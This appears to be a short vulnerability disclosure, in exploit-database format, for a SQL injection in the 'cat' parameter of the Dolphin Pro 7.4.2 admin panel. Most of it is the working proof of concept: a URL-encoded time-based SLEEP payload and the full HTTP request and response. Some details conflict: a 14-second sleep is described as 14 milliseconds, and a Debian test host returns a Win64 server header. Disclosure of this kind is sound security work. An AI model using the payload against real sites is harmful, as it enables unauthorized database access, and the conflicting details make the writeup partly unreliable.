Dolphin Pro 7.4.2 SQL Injection

# Exploit Title: SQL Injection in Admin Functionality - dolphin.prov7.4.2
    # Date: 03/2025
    # Exploit Author: Andrey Stoykov
    # Version: 7.4.2
    # Date: 03/2025
    # Tested on: Debian 12
    # Blog:
    https://msecureltd.blogspot.com/2025/03/friday-fun-pentest-series-21-sql.html
    
    
    SQL Injection in Admin Functionality:
    
    Steps to Reproduce:
    
    1. Login as admin user and visit the page of "
    http://192.168.58.170/dolphinCMS/administration/index.php?cat="
    2. Add the MySQL injection SLEEP payload to the "cat" value
    3. Notice that the backend would delay the HTTP response for 14 miliseconds
    
    
    %27%20and%20(select*from(select(sleep(14)))a)--%20
    
    
    // HTTP GET Request
    
    GET
    /dolphinCMS/administration/index.php?cat=%27%20and%20(select*from(select(sleep(14)))a)--%20
    HTTP/1.1
    Host: 192.168.58.170
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0)
    Gecko/20100101 Firefox/137.0
    [...]
    
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Thu, 20 Mar 2025 22:55:46 GMT
    Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40
    X-Powered-By: PHP/5.6.40
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=utf-8
    Content-Length: 55510